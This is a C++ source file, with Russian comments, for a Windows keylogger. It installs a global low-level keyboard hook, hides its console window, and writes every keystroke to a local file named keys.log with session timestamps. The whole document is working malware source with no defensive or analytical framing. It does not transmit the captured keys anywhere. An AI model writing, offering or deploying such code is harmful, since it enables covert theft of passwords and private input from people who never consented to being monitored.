// keylogger.cpp - Компилировать с I686 F Tools
#include <windows.h>
#include <fstream>
#include <string>
#include <chrono>
#include <ctime>
std::ofstream logFile;
bool isRunning = true;
// Получение текущего времени
std::string getCurrentTime() {
auto now = std::chrono::system_clock::now();
auto time_t = std::chrono::system_clock::to_time_t(now);
return std::ctime(&time_t);
}
// Обработчик клавиатуры
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && isRunning) {
if (wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT*)lParam;
// Получаем символ
char keyChar[2] = {0};
BYTE keyboardState[256];
GetKeyboardState(keyboardState);
WORD wChar = 0;
if (ToAscii(p->vkCode, p->scanCode, keyboardState, &wChar, 0) > 0) {
keyChar[0] = (char)wChar;
logFile << keyChar[0];
logFile.flush();
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Скрытие окна
void HideConsole() {
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
}
int main() {
// Открываем файл лога
logFile.open("keys.log", std::ios::app);
logFile << "\n=== Session started: " << getCurrentTime() << "===\n";
// Скрываем консоль
HideConsole();
// Устанавливаем хук
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook == NULL) {
logFile << "Error installing hook!\n";
logFile.close();
return 1;
}
// Основной цикл
MSG msg;
while (isRunning && GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Очистка
UnhookWindowsHookEx(hook);
logFile << "\n=== Session ended: " << getCurrentTime() << "===\n";
logFile.close();
return 0;
}